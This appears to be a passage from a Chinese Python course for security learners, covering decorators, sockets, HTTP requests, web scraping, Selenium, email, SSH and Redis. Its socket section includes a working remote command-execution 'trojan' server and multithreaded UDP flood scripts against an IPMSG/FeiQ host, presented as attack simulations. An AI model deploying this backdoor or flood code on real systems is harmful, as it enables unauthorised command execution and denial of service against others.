
if __name__ == '__main__':
    test()

输出:

此处省略result的输出结果(太长了)
0.00037407875061035156     <—时间

执行过程:

(1)那如果test( )函数需要传参数呢?

可以通过闭包去传输参数

比如(假设要传输data参数):

import time
def ex_time(func): #通过闭包去传输参数
    def inner(data):
        func(data)
        print(data)
    return inner

@ex_time
def test(data):
    pass

if __name__ == '__main__':
    test(123)

输出:

123

(2)可以被多个装饰器修饰吗?

当然,函数/方法/类可以被多个装饰器修饰

比如:

def Decorator_1(func):
    def wrapper(*args, **kwargs):
        func(*args, **kwargs)
        print('我是装饰器1')
 
    return wrapper
 
def Decorator_2(func):
    def wrapper(*args, **kwargs):
        func(*args, **kwargs)
        print('我是装饰器2')
 
    return wrapper
 
def Decorator_3(func):
    def wrapper(*args, **kwargs):
        func(*args, **kwargs)
        print('我是装饰器3')
 
    return wrapper
 
@Decorator_1
@Decorator_2
@Decorator_3
def say_hello():
    print("大家好")
 
 
if __name__ == '__main__':
    say_hello()

输出:

大家好
我是装饰器3
我是装饰器2
我是装饰器1

其实这就是一个层层嵌套的过程(特别像递归):

say_hello()被调用
发现有装饰器3修饰
装饰器3又有装饰器2修饰
装饰器2又有装饰器1修饰
那么先去执行装饰器1中的内容
执行到func()的时候,调用被其修饰的函数(也就是装饰器2
那么去执行装饰器2中的内容
执行到func()的时候,调用被其修饰的函数(也就是装饰器3
那么去执行装饰器3中的内容
执行到func()的时候,调用被其修饰的函数(也就是say_hello
执行print("大家好")
装饰器3中的func()调用结束,继续执行,执行print("我是装饰器3")
装饰器2中的func()调用结束,继续执行,执行print("我是装饰器2")
装饰器1中的func()调用结束,继续执行,执行print("我是装饰器1")

综上,我们看到最终的输出就是:
大家好
我是装饰器3
我是装饰器2
我是装饰器1

十六、网络通信与Socket

1、什么是Socket

 Socket (套接字)是对 TCP/IP 协议族的封装和编程接口(接口是系统或组件之间约定好的一种“连接方式”或“交流规范”,它定义了能做什么、怎么做,但不关心具体怎么实现),程序通过使用 Socket 来调用底层的 TCP/IP 协议进行网络通信。

 Socket可以具像化成一个在应用层和传输层之间的一个抽象层

当用户想要与目标通信的时候,只需要调用Socket提供的接口,而无需关心TCP/IP协议的具体实现过程

目的主机也是如此,它无需关心数据是怎么传过来的,他只要通过Socket接口来接受数据即可

后续抓包的时候,我们在加深理解

2、Socket编程

Socket编程就是利用Socket类中的方法,来实现客户端与服务器端的通信

我们上面也讲过,作为用户,我们只要用Socket提供的接口就行(具体他们在网络中怎么搞的我们不关心),我们所看到的通信的三步骤就是:

Socktet连接建立,然后发送/接收数据,最后断开连接

(1)定义客户端建立与服务器的连接
import socket

def client_test():
    c = socket.socket() #实例化socket类,默认使用TCP协议
    c.connect(('10.90.10.17',5555)) #服务器的IP地址和端口号,connect中传输的是元组类型的,所以用()包裹

    #传输数据(收发数据包)
    content = "This is a message!"
    c.send(content.encode()) #send中内容需要时字节类型(二进制数据),所以我们需要进行编码(默认utf-8)

client_test()
(2)定义服务器端监听客户端发来的连接
import socket

def server_test():
    s= socket.socket()
    s.bind(('10.90.10.17',5555)) #绑定服务器端IP地址和端口号
    s.listen() #保持对5555端口的监听
    chanel,client = s.accept()  #accept会返回一个元组即(和客户端连接的连接通道,客户端的基本信息即ip+端口)
    messages_res =chanel.recv(1024) #1024指的是接受数据包的缓存大小,可以自定义
    print(messages_res.decode()) #传过来的是字节类型,通过解码即可得到对应的字符串信息

server_test()

运行

此时服务器处于监听状态

我们也可以查看端口号,看一下现在的5555端口是否已经被占用

此时我们用客户端给服务器发送数据

可以看到服务器成功接收

一般情况下,服务器的监听会一直持续(代码中监听部分放到一个循环当中即可),但是上面代码仅为演示,就没有写入

(3)流量分析

三次握手与四次挥手

我们在编程的时候其实并没有感受到TCP的三次握手,TCP的四次挥手的过程,我们的感受就是仅仅调用了Socket提供的接口就实现了互相通信,但是通过抓包我们就能切实地感受到Socket建立连接之前需要先建立TCP连接,Socket连接结束的时候还要断开TCP连接,当然还有更多的细节(网络层,网络接口层中的一些操作)。

我们也可以看到,传输的时候都是以比特流传输的

我们要传输的数据,通过utf-8编码之后,变成了字节类型(二进制数据),下图显示的时候是二进制对应的十六进制

额外补充(有关编码)

像utf-8、GBK这样的编码

他们的编码的过程就是将字符串中的字符按照指定规则转为对应的字节序列(即 bytes),而解码则是将bytes转回字符(str

让他们对中文编码:

utf-8编码,一个中文对应三个字节

gbk编码,一个中文对应两个字节

在python中

表示十六进制的方法:
\x开头
0x开头

b'hello'表示hello的字节类型(二进制数据)

python中如果一个字节的值是可打印的ASCII字符,python就会直接用b''包裹的形式显示该字符,比如b'a'
若是非可打印的ASCII字符(比如中文),就会采取b'\x···'这样的形式

额外补充(有关流量分析)

抓到的数据包,从上往下依次是物理层,数据链路层,网络层和传输层

3、实现Socket完整交互

服务器端:

import socket

s = socket.socket()
s.bind(('127.0.0.1',6666)) #127.0.0.1表示只允许本机访问,与之相对的写法是0.0.0.0,允许所有主机访问
s.listen()
channel,client = s.accept()
while True:
    result = channel.recv(1024).decode()
    print(f"客户消息:{result}")
    reply = result.replace("吗", "").replace("?", "!").replace("?", "!")
    channel.send(reply.encode())
#s.close()   死循环后的代码不能被执行

客户端:

import socket

c = socket.socket()
c.connect(("127.0.0.1",6666))
while True:
    ask = input("请输入要发送的内容:")
    c.send(ask.encode())
    answer = c.recv(1024).decode()
    print(f"服务器消息:{answer}")

这样就可以实现一个你来我往的完整的交互了:

请输入要发送的内容:在吗
服务器消息:在
请输入要发送的内容:在吗!
服务器消息:在!
请输入要发送的内容:你好吗?
服务器消息:你好!
请输入要发送的内容:再见
服务器消息:再见

问题指出:

但是,上述代码还是不够完善的

不完善的地方就是:

1)仅限于一台客户机与服务器之间的交互(因为channel,client = s.accept()并不在循环内部,也就是说服务器没有在等新的客户端连接)
2)当客户端断开连接的时候,服务端还在死循环

针对问题1:能不能将它(accept)写入循环呢?

这是不行的(会影响单客户端与服务器之间的连续通信),问题就在于accept这个方法

s.accept()
1)被动接受TCP客户端连接,(阻塞式)等待连接的到来
2)只会被新的客户端连接请求唤醒

关键点就在于“阻塞”二字

假设将accept放在循环当中,当客户端主动去连接服务器,唤醒accept然后成功建立连接,第一次通信并没有什么问题,但是,第二次循环开始,此时accept还是(阻塞式)等待连接的到来,但他发现他获得的资源是之前已经唤醒过他的客户端,那么他就继续保持阻塞(因为没有获得资源(新客户端)),这就导致了程序被阻塞在了accepot()那一行,就影响了连续的通信

针对问题2:在循环中增加客户端是否已经断开连接的判断

解决方法:

使用多线程的方式来解决多客户端的情况

服务器端:

import socket
import threading

#客户端与服务器端交互的处理函数
def handle_client(channel, client_addr):
    print(f"客户端已连接:{client_addr}")
    while True:
        try:
            result = channel.recv(1024).decode()
            if not result: #如果客户端断开连接,那服务器就退出循环,显示客户端已经断开链接
                break
            print(f"客户消息({client_addr}):{result}")
            reply = result.replace("吗", "").replace("?", "!").replace("?", "!")
            channel.send(reply.encode())
        except:
            break
    print(f"客户端断开:{client_addr}")
    channel.close()

s = socket.socket()
s.bind(('127.0.0.1', 6666))
s.listen()
print("服务器启动,等待客户端连接...")

#利用多线程,来接收不同客户端的连接
while True:
    channel, client_addr = s.accept() #等待客户连接
    #创建新线程,指定这个线程启动后要执行的函数是handle_client,args元组信息作为函数的参数
    t = threading.Thread(target=handle_client, args=(channel, client_addr))
    #启动该线程
    t.start()

客户端代码不变

这样写之后,每个客户端连接都会由一个独立线程处理,多个客户端就可以同时聊天了,互不影响,服务器端也不会阻塞。

模拟场景:

客户端1:

客户端2:

服务器端:

4、基于Socket实现远程木马

核心思路:

客户端发送一条特殊字符串,里面包含要执行的命令,让服务器端执行命令并返回结果给客户端

(1)Python中执行系统命令
import os,subprocess

os.system('ifconfig') #可以执行系统命令,并直接输出结果

subprocess.Popen("whoami") #可以执行系统命令,并直接输出结果,也可以对输出内容进行重定向(比如结果输入到文件、管道等)
subprocess.run("whoami") #与上方用法基本一致

f = os.popen("whoami") #os.popen返回的是一个类文件对象,可以它可以像文件一样进行.read()、.readline()等操作
result = f.read()
f.close()
print(result)

eval("os.system('whoami')") #将符合python代码语法的字符串看作代码来执行
(2)模拟1

模拟客户端远程执行系统命令

因为模拟环境不需要模拟多个客户端,所以我们暂不使用多线程

假设我们的payload长这样:

==,要执行的命令

假设服务器处理非正常聊天内容的方式就是:

if result.startswith("=="): #若内容以“==开头”
    print(f"客户消息:{result}")
    inform = result.split(",")[-1] #以逗号为分隔符去分隔用户消息,并放入列表,-1表示取最后一个元素
    f = os.popen(inform)
    channel.send(f.read().encode()) #返回给用户执行后的结果

服务器端:

import socket,os
def attacked_server(channel, client):
    print(f"客户端已连接:{client}")
    while True:
        try:
            result = channel.recv(1024).decode()
            if not result:
                break
            if result.startswith("=="):
                print(f"客户消息:{result}")
                inform = result.split(",")[-1]
                f = os.popen(inform)
                channel.send(f.read().encode())
            else:
                print(f"客户消息:{result}")
                reply = result.replace("吗","").replace("?","!").replace("?","!")
                channel.send(reply.encode())
        except:
            break
    print(f"客户端{client}已断开")
    channel.close()

if __name__ == '__main__':
    s = socket.socket()
    s.bind(('127.0.0.1',6666))
    s.listen()

    while True:
        channel, client = s.accept()
        attacked_server(channel,client)

客户端代码不变:

import socket

c = socket.socket()
c.connect(("127.0.0.1",6666))
while True:
    ask = input("请输入要发送的内容:")
    c.send(ask.encode())
    answer = c.recv(1024).decode()
    print(f"服务器消息:{answer}")

这样,如果客户端输入构造好的payload就可以执行系统命令了

能干的事情当然不止whoami

我们可以将木马放入到系统的某个目录的某个文件中,然后去执行这个木马文件,达到攻击的目的

(3)模拟2

模拟高频发送数据包的DOS攻击行为(流量泛洪水)

假设我们要攻击的对象飞秋的一个用户

若要给飞秋应用中的用户发送数据,就需要知道飞秋传输的协议

在网上就可以得到答案(下面列举有用的信息):

1)使用TCP/UDP端口(默认端口为2425),消息的收发使用UDP协议,文件(文件夹)的收发使用TCP协议。
2)飞秋支持飞鸽传书协议(IPMSG
3IPmsg UDP数据包格式:程序版本号:数据包序列号:用户名:主机名:命令:消息内容:额外数据
4)命令IPMSG_SENDMSG表示发送消息
5IPMSG_SENDMSG对应的16进制数值0x00000020

既然如此,我们就可以利用Socket去模拟一个客户端去连接目标服务器,然后发送数据

协议中有格式要求,那么我们只需要构造出符合IPMSG协议的消息类型,然后通过Socket连接发送给目标服务器即可

import socket,time

c = socket.socket(type=socket.SOCK_DGRAM) #使用UDP进行通信
c.connect(("172.16.50.130",2425))

#按照IPMSG的数据包格式,依次填写信息,最后用":"进行连接
packageID = str(time.time())
name = "test"
host = "tttt"
command = str(0x00000020)
content = "this is a message"
message = "1.0:"+packageID+':'+name+":"+host+":"+command+':'+content

c.send(message.encode())

运行之后,就会看到:

那么能正常通信,我们就可以通过写循环的方式来进行流量泛洪

import socket,time

for i in range(10000):
    c = socket.socket(type=socket.SOCK_DGRAM)
    c.connect(("172.16.50.130", 2425))

    packageID = str(time.time())
    name = "test"
    host = "tttt"
    command = str(0x00000020)
    content = "this is a message"
    message = "1.0:" + packageID + ':' + name + ":" + host + ":" + command + ':' + content

    c.send(message.encode())

通过这种不断建立新的客户端去给对方发消息的方式,若对方没有对流量进行充分地防范系统就会崩溃

当然,上述代码仅仅是单线程的,多线程呢?如果还有多个肉鸡(也称傀儡机,是指可以被黑客远程控制的机器)呢?

多线程演示:

import socket,time,threading

def test():
    for i in range(10000):
        c = socket.socket(type=socket.SOCK_DGRAM)
        c.connect(("172.16.50.130", 2425))
   
        packageID = str(time.time())
        name = "test"
        host = "tttt"
        command = str(0x00000020)
        content = "this is a message"
        message = "1.0:" + packageID + ':' + name + ":" + host + ":" + command + ':' + content
   
        c.send(message.encode())

if __name__ == '__main__':
    for i in range(1000):
        t = threading.Thread(target=test)
        t.start()

共会创建1000个独立的线程去执行发消息的函数,函数内也会创建10000个客户端去发送消息,这就是DOS攻击的基本实现

那就顺便补充一下DOS攻击的核心:

利用常规技术或者特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘、贷款、连接数等),使其无法正常提供对外服务

当然,DOS攻击既可以用来作为攻击的手段,也可以验证服务器环境是否有问题

所谓验证就是通过流量泛洪来查看服务器是否出现了问题,或者说验证装的安全设备是否起作用

5、注意

我们自己构建socket客户端和服务器端的话,他们连接建立成功后相互通信使用的协议是TCP/IP,也就是我们无需有多余的操作,因为socket已经向我们提供了使用下层功能的结构,我们只要管好socket就好。

但是,如果其中一方(客户端/服务器端,假设为服务器端)是其他应用程序,那我们如果要使得我们创建的客户端能和服务器端通信,我们还必须这个应用程序所遵循的协议。比如上面的“模拟二”中,我们建立起socket连接之后,他们之间的相互通信还要遵循IPMSG飞鸽传书协议。

十七、Requests库处理HTTP请求

1、get请求:

import requests

resp = requests.get("http://10.88.109.40/eams/loginExt.action") #对指定网页发送get请求,并返回响应
resp.encoding = "utf-8" #避免乱码现象,具体看网页用的什么编码格式
#.text和.content都是服务器响应的返回内容,只不过前者是其字符类型的数据,后者是其字节类型的数据
print(resp.text)

2、post请求:

import requests

#构造post请求正文(通过抓包了解要传输的参数有哪些)
#username=1000&password=d5f3b6ef8094faf90eaa4bebc144620914f31749&session_locale=zh_CN
post_content = {'username':'2000','password':'123456','session_locale':'zh_CN'}
#发送POST请求,并返回响应内容
resp = requests.post("http://10.88.109.40/eams/loginExt.action",data=post_content)
print(resp.text)

3、下载图片

import requests

photo_resp = requests.get('http://10.88.109.40/eams/static/images/login-logo2.png')
#get请求完一个图片之后,我们读取它是没有意义的,常用的做法是存储到本地文件中
#注意,图片是二进制字节格式的,那我们写入文件的时候就要使用“wb”即以二进制格式打开一个文件然后写入
with open('./photo_ndky.png',mode='wb') as f:
    f.write(photo_resp.content)

4、上传图片

假设我们要上传文件的页面是文件上传的靶场:

通过抓包,可以发现上传文件需要使用upload_file和submit这两个属性,并且得知使用POST传输的

这两个属性其实也可以从前端页面中找到:

据此,构造文件上传代码

import requests

url = "http://127.0.0.1/upload-labs-master/Pass-01/index.php"
file_path = "/Applications/phpstudy/WWW/image/fff.jpg"
with open(file_path,mode='rb') as f:
    files = {"upload_file":f}
    data = {'submit':''}
    resp = requests.post(url=url,data=data,files=files)
print(resp.text)

结果,在服务器接收上传文件的地方,出现了我们上传的文件

拓展:

上面的模拟环境并没有涉及到cookie

如果服务器端要求用户登录之后才可以上传图片呢?

那我们这么构造的请求中的cookie字段是没有服务器标记我们是否登录的SESSIONID的,上传就会被拒绝

那么为了解决这个问题,我们要做的就是维持状态

方法一:构造header或设置cookie

也就是我们在登录成功的时候就记录下服务器给我们的set-cookie中的内容,然后在上传图片的时候,在cookie中带上服务器给我们的内容即可

无论是重新构造header还是带上cookie,目的都是一样的,都是为了维持状态

大致内容:

Headers:

import requests

url = ''
file_path = "/Applications/phpstudy/WWW/image/fff.jpg"
with open(file_path,mode='rb') as f:
    files = {"upload_file":f}
    data = {'submit':''}
    headers = {}
    resp = requests.post(url=url,data=data,files=files,headers=headers)
print(resp.text)

cookies:

import requests

url = ''
file_path = "/Applications/phpstudy/WWW/image/fff.jpg"
with open(file_path,mode='rb') as f:
    files = {"upload_file":f}
    data = {'submit':''}
    cookies = {}
    resp = requests.post(url=url,data=data,files=files,cookies=cookies)
print(resp.text)

方法二:利用session对象来自动维持对象(更推荐使用)

session = requests.session() #设置一个session对象,后续用session代替requests

file_path = "/Applications/phpstudy/WWW/image/fff.jpg"
with open(file_path,mode='rb') as f:
    files = {"upload_file":f}
    data = {'submit':''}
    resp = session.post(url="http://127.0.0.1/upload-labs-master/Pass-01/index.php",data=data,files=files)
print(resp.text)

推荐的原因在于:真实场景中我们不清楚什么时候服务器会发送set-cookie,那我们也不知道cookie字段要传输什么,所以这种设置session对象然后自动化维持状态的方式更加便捷。

5、有关https

上述例子都采用的是http,那么如果使用https呢?

他们的区别只是在于是否有证书,拿get请求举例子

import requests
resp = requests.get("https://www.baidu.com",verify=False) #有证书就加上,没有就填False
print(resp.text)

也能照常获得get请求

十八、基于正则表达式实现爬虫

思路和之前用PHP爬取的思路一模一样,只是代码上有略微的区别

思路:

获得网页中所有的超链接(当然有些链接并不是完整的,需要根据特征去拼接完整的网址)或者其他资源(比如图片),然后将他们保存到本地,再接着爬取……

爬取网页:

import re,requests,time,random
from lib2to3.fixes.fix_metaclass import find_metas

resp = requests.get('https://www.destination.com')

links = re.findall('<a href="(.+?)"',resp.text) #用正则表达式去响应内容匹配相应的信息,然后存储到列表里

#每个网页中的超链接信息都各有特征,根据他们的特征去删选/拼接网页
for link in links:
    if link.startswith('#'):
        continue
    elif link.startswith("/"):
        continue
    elif link.startswith('"'):
        continue
    elif not(link.startswith('http://')):
        link = "https://www.destination.com" + link
       #为了存储到本地,设置合适的文件名
    if "=" in link:
        filename =str(random.randint(0,100)) + time.strftime("_%Y%m%d_%H%M%s_") + link.split("=")[-1] + ".html"
    else:
        filename =str(random.randint(0,100))+ time.strftime("_%Y%m%d_%H%M%s_") + ".html"
    #存到本地
    with open("./spider_content/site/"+filename,mode='w') as f:
        f.write(requests.get(link).text)

当然这只是爬取了一层,后续的爬取类似,不再演示

爬取图片:

import re,requests,time,random

def spider_the_img(url):
    resp = requests.get(url)

    links = re.findall('<img src="(.+?)"',resp.text)

    for link in links:
        if not(link.startswith('/')):
            link = "/" + link
        link = url+link
        end = link.split('.')[-1]
        filename = str(random.randint(0,100)) + time.strftime("_%Y%m%d_%H%M%s_") + "." + end
        with open('./spider_content/imag/'+filename,mode="wb") as f:
            f.write(requests.get(link).content)

if __name__ == '__main__':
    spider_the_img('https://www.destination.com')

可以看到,用正则表达式来爬取网页的方式不够精准,他只能捕获有共性的部分,如果有些超链接/图片不是被特定的形式所包裹的呢?

十九、基于BeautifulSoup的爬虫

1、简介

BeautifulSoup用于解析HTML或XML数据,并提供了一些方法来导航、搜索和修改解析树(也就是将html中的标签之间的嵌套想象成一棵树)

BeautifulSoup常见的操作包括查找标签、获取标签属性、提取文本等

我们还需要使用lxml这个解析器(其主要功能是解析和提取XML和HTML中的数据)

2、具体使用

(1)根据层次来查找页面元素:
from bs4 import BeautifulSoup
import requests,lxml

url = "https://www.destination.com"
resp = requests.get(url)

#初始化解析器
html = BeautifulSoup(resp.text,"lxml")
#根据层次来查找页面元素
print(html.head.title)

#输出其中文本部分
print(hrml.head.title.string)

结果:

<title>宁波大学科学技术学院</title>
宁波大学科学技术学院

这样的查找不太推荐,因为有些层次套得很深,会使得代码很长,而且人工的因素过大,不够便捷/准确

(2)通过find_all来查找页面元素

根据标签、属性或类似XPath等进行查找

from bs4 import BeautifulSoup
import requests,lxml

url = "https://www.destination.com"
resp = requests.get(url)

#初始化解析器
soup = BeautifulSoup(resp.text,"lxml")

links = soup.find_all('a') #查找所有的a标签
for link in links:
    print(link["href"]) #打印页面中所有a标签中的href的属性值,也就是所有的超链接
   
#图片也是一样的道理
imgs = soup.find_all('img')
for img in imgs:
    print(img["src"])

若要爬取,那么和之前的做法一样,这里不再赘述

根据id或者class等属性查找

from bs4 import BeautifulSoup
import requests,lxml

url = "https://www.destination.com"
resp = requests.get(url)

#初始化解析器
soup = BeautifulSoup(resp.text,"lxml")

ids = soup.find_all(id="top") #查找所有id属性值为top的部分
for id in ids:
    print(id)

titles = soup.find_all(class_="title") #查找所有class属性值为title的部分
for title in titles:
    print(title)
   
#注意find()和find_all()的区别,find只是找第一条(从上往下),find_all()就是找所有的

当然,你还想要更精细的查找,也可以嵌套

from bs4 import BeautifulSoup
import requests,lxml

url = "https://www.destination.com"
resp = requests.get(url)

#初始化解析器
soup = BeautifulSoup(resp.text,"lxml")

titles = soup.find_all(class_="title")
for title in titles:
    print(title.find("a")) #找所有class属性为title的标签里面的第一条a标签

输出:

<a href="info.php?systemId=470&amp;systemURL=XYDT&amp;systemName=%E5%AD%A6%E9%99%A2%E5%8A%A8%E6%80%81&amp;newsId=0&amp;catId=470" title="更多">&gt; 更多</a>
<a href="info.php?systemId=472&amp;systemURL=MTGZ&amp;systemName=%E5%AA%92%E4%BD%93%E5%85%B3%E6%B3%A8&amp;newsId=0&amp;catId=472" title="更多">&gt; 更多</a>
<a href="info.php?systemId=468&amp;systemURL=TZGG&amp;systemName=%E9%80%9A%E7%9F%A5%E5%85%AC%E5%91%8A&amp;newsId=0&amp;catId=468" title="更多">&gt; 更多</a>

除了可以逐层向下,也可以逐层向上:

from bs4 import BeautifulSoup
import requests,lxml

url = "https://www.destination.com"
resp = requests.get(url)

#初始化解析器
soup = BeautifulSoup(resp.text,"lxml")

title = soup.find(class_="title")
print(title.parent) #找第一个class属性为title的标签的父标签

还可以使用类似XPath的方式来查找

from bs4 import BeautifulSoup
import requests,lxml

url = "https://www.destination.com"
resp = requests.get(url)

#初始化解析器
soup = BeautifulSoup(resp.text,"lxml")

titles = soup.find_all("div",{"class":"title"}) #在XPath中:div[@class='title']
for title in titles:
    print(title)

(3)CSS选择器

from bs4 import BeautifulSoup
import requests,lxml

url = "https://www.destination.com"
resp = requests.get(url)

#初始化解析器
soup = BeautifulSoup(resp.text,"lxml")

#根据class查找
title = soup.select("div.title") #查找所有div标签中class属性值为title的标签
#不限定div标签下
title = soup.select(".title") #查找所有标签中class属性值为title的标签
#根据属性id来查找
keyword = soup.select("#keyword") #查找所有标签中id属性值为keyword的标签
#按照层次查找
lis = soup.select("ul li") #查找所有ul标签下的li标签

3、补充

requests库只能获取静态的HTML网页,但无法爬取一个动态的网页

但现在很多网站(比如微博、知乎、淘宝)加载的数据是JavaScript 动态生成的,requests根本抓不到

所以,要抓取动态的网页,我们要使用Selenium库

大致代码:

from selenium import webdriver
from bs4 import BeautifulSoup
import time,requests,random

# 启动Safari浏览器
driver = webdriver.Safari()

driver.get("https://www.destination.com") #在启动的浏览器上加载该网页
time.sleep(3)  # 等页面加载

#driver.page_source:获取浏览器中当前页面的完整HTML源代码,包括动态加载的内容
soup = BeautifulSoup(driver.page_source, 'lxml')
links = soup.find_all('a')

#后续将爬取到的内容存入本地的过程与之前大同小异
for link in links:
    url = link["href"]
    if url.startswith("/"):
        url = "https://www.destination.com" + url
    filename = str(random.randint(0,100)) + time.strftime("_%Y%m%d_%H%M%s_")+".html"
    with open("./spider_content/site/"+filename,mode="w") as f:
        f.write(requests.get(url,verify=False).text)

links = soup.find_all('img')

for link in links:
    url = link["src"]
    print(url)
    end = url.split(".")[-1]
    filename =  str(random.randint(0,100)) + time.strftime("_%Y%m%d_%H%M%s_")+"."+end
    with open("./spider_content/imag/"+filename,mode="wb") as f:
        f.write(requests.get(url,verify=False).content)

driver.quit() #关闭浏览器并结束于浏览器的会话

结果图:

这整个过程特别像有一个机器人,它打开了浏览器去访问目标网页,然后通过点击按钮、填写表单、滚动页面等操作去获得所有动态生成的html代码,最后将静态html代码和动态生成的html代码全都发送给你

二十、Selenium操作Web页面

1、为什么需要操作Web界面

通常情况下,网络安全相关领域,更多都是偏重于协议和通信

但是,如果协议通信过程被加密或者无法了解其协议构成,是无法直接通过协议进行处理的。此时,可以考虑UI(user interface用户界面)操作,进而实现相对应的部分功能

2、模拟UI操作的原理

1、运行被操作的程序,使其界面出现
2、找到被操作的界面元素(方法一:基于元素的特征进行识别,方法二:图像识别和对比,opencv
3、对其进行操作:输入、单击、右键等
4、对操作后的结果进行验证,确认操作是成功的

3、基于Selenium实现

Selenium的通信机制:Python通过模拟客户端发送HTTP请求给WebDriver,WebDriver再驱动浏览器执行

from selenium import webdriver
import time
from selenium.webdriver.common.by import By

#第一步,实例化webdriver对象,用于初始化浏览器操作
#默认情况下,建议将webdriver(chromedriver、geckodriver等)放在环境变量的某个目录里面,否则需要在参数中指定该webdriver的路径才行
driver = webdriver.Safari() #若没放进环境变量,则要driver = webdriver.Firefox("路径")
time.sleep(3)

#访问目标网站
driver.get("https://www.destination.com")

'''
浏览器中可以执行的操作,基本都能实现
driver.refresh() 刷新页面
driver.forward() 进入下级目录
driver.back() 返回上级目录
driver.get_cookies() 获得当前网页cookie
……
'''

#第二步,利用DOM的识别机制,去识别和操作界面元素
driver.find_element(By.ID,"username").send_keys("admin")
time.sleep(3) #更直观地感受自动化
driver.find_element(By.ID,"password").send_keys("123456")
time.sleep(3)
driver.find_element(By.ID,"login_submit").click()
time.sleep(3)

'''
也可以使用Xpath
driver.find_element(By.XPATH,'//*[@id="login_submit"]')
也可基于CSS选择器
driver.find_element(By.CSS_SELECTOR,'#login_submit')
'''

driver.close()

4、关于验证码

(1)短信验证码:用自己的手机获取验证码,然后用Python直接操作手机端提取验证码,进而实现自动化操作的目的

(2)图像验证码:

对于静态的图片验证码:利用打码平台(通过人工或者AI的方式来识别图片中的验证码信息,要钱)来进行识别或者利用人工智能训练集进行处理
对于动态类验证码:比如图像滑动等,目前没有比较成熟的解决方案

(3)机器学习:

1、可以处理的类型:文字、图片、视频、语音
2、怎么进行学习?CNN卷积神经网络
3、学习数据必须要有正确的标记:图片和与之相应的正确答案(可以联想一下教小孩认识东西,你得拿出这个东西[学习数据],然后告诉小孩它是什么[正确的标记]

网络安全中的AI应用:入侵检测

传统的入侵检测:若发现一些特征、某些流量或者请求存在可疑特征的时候,进行预警或者防护

基于AI的入侵检测:基于机器学习,学习大量的正确的数据包和请求,一旦发现某个数据包与已经学习过的匹配度很低,则就是可疑的

二十一、发送邮件

1、协议

(1)SMTP:用于发送邮件(客户与邮件服务器、邮件服务器与邮件服务器)

(2)POP3:用于接收邮件(邮件服务器给客户端)

(3)IMAP:也是用于接收邮件,比POP3实用性更强

上述三种协议均为明文传输,所以建议对其进行加密(TLS)

2、如何发送邮件

#直接导入内置模块
import smtplib,time #smtplib模块主要用于处理SMTP协议
#email模块主要处理邮件的头和正文等数据
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText

#定义发件人和收件人
sender ="" #根据实际情况填写
receivers ="" #根据实际情况填写
#构建邮件主体对象
msg = MIMEMultipart()
msg['Subject'] = "Python测试邮件"
msg['From'] = sender
msg['To'] = receivers

#正文内容编写
body = '''
<div style='font-size:30px;color:red;'>这是邮件的正文,<a href='http://www.baidu.com'>点我有惊喜</a></div>
'''
content = MIMEText(body,'html','utf-8')
msg.attach(content) #将正文内容放入邮件主体对象中

#添加附件
attachment=MIMEApplication(open('./spider_content/imag/test.jpg',mode='rb').read())
filename = 'test.jpg'
#告诉邮件客户端这是一份附件,并且它的名称是test.jpg
attachment.add_header("Content-Disposition","attachment",filename=filename)
msg.attach(attachment)

#建立与邮件服务器的连接并发送邮件
smtpObj=smtplib.SMTP() #若使用SSL,则用SMTP_SSL()
smtpObj.connect("邮件服务器地址",25) #此处为伪代码
smtpObj.login(user=sender,password="123456") #伪代码
smtpObj.sendmail(sender,receivers,str(msg))
smtpObj.quit()

在发送邮件的时候抓包,会发现截取到的流量中含有账号密码信息(用的是BASE64编码),由于BASE64编码是可逆编码,所以本质上还是属于明文传输,黑客只需要截取到流量然后用BASE64解码之后就能得到账户和密码的信息,很不安全

补充:

(1)什么是SSL/TLS

TLS(Transport Layer Security) 和 SSL(Secure Socket Layer) ,它们是用于在互联网两台计算机之间用于身份验证和加密的一种协议,其中TLS是SSL的后续版本(TLS更牛逼)。

很多在线业务(如在网站购物)最重要的一个步骤是创建一个高度安全的交易系统,这样客户就可以放心地把钱转过去,SSL和TLS可以实现这个目的

举个HTTPS的例子:

传统的HTTP(应用层协议)会先直接和TCP进行通信
但是使用SSLHTTPS,则会先和SSL进行通信,然后再由SSLTCP进行通信
这样我们应用层看到的是明文,传出层传输的都是密文。

SSL或TLS是一个独立的协议,不只有 HTTP可以使用,其他应用层协议也可以使用,比如SMTP(电子邮件协议)、Telnet(远程登录协议) 等都可以使用

二十二、Python处理SSH和Redis

1、SSH

基于Python代码直接可以远程操作Linux服务器(或者其他支持SSH的服务器)

此类技术的运用:利用Python完成远程应用系统部署、远程监控、文件传输等

这样的技术称为Agentless(无代理模式)

基本代码:

import paramiko

#连接目标服务器
target = "172.16.50.131" #目标服务器
transport = paramiko.Transport((target,22)) #创建一个transport对象,用于SSH连接
transport.connect(username="root",password="root")

ssh = paramiko.SSHClient() #创建一个SSHClient对象
ssh._transport = transport  #使其具备远程代码执行的能力
sftp = paramiko.SFTPClient.from_transport(transport) #允许文件上传下载操作

#执行系统命令并返回结果
stdin,stdout,stderr = ssh.exec_command("ip addr")
print(stdout.read().decode()) #输出执行后的结果

#传输文件
sftp.put('./photo_ndky.png','/opt/test.png') #上传
sftp.get("/opt/test.png","./test.png") #下载

2、redis

import redis
red = redis.Redis(host='127.0.0.1', port=6379) #连接redis
#执行正常的redis代码
red.set('addr', 'zhejiang')
print (red.get ('addr') .decode())

输出:

zhejiang

根据十六节(网络通信与socket)中的注意小结,我们知道,我们可以利用socket手动构建出客户端,然后构造出符合redis传输协议格式的信息发送给服务器端,然后获取服务器端执行指令后的输出结果

redis协议体:

*3
$3
set
$4
name
$3
zyf

上述代码就相当于在redis里面执行set name zyf

通过抓包可以发现,换行符在数据流中显示为:\r\n

import socket
c = socket.socket()
c.connect(("127.0.0.1",6379))
c.send("*3\r\n$3\r\nset\r\n$4\r\nname\r\n$3\r\nzyf\r\n".encode()) #set name zyf
print(c.recv(1024).decode()) #对方执行后返回的结果内容
c.send("*2\r\n$3\r\nget\r\n$4\r\nname\r\n".encode()) #get name
print(c.recv(1024).decode())

输出:

+OK

$3
zyf

可以看到,这样利用socket构造客户端,然后构造符合redis传输协议的信息格式,也能够达到远程代码的执行

二十三、面向对象

1、基本的用法

#定义一个类
#在Python当中类名建议用大驼峰规则:所有首写字母大写,缩写词全部大写
class People:
    #定义类的属性
    name = ''
    age = ''
    addr = ''

    #定义类的方法
    def talk(self):
        print(f'{self.name}正在说话')

if __name__ == '__main__':
    p = People() #类的实例化
    p.name = '张三'
    p.talk()

输出:

张三正在说话

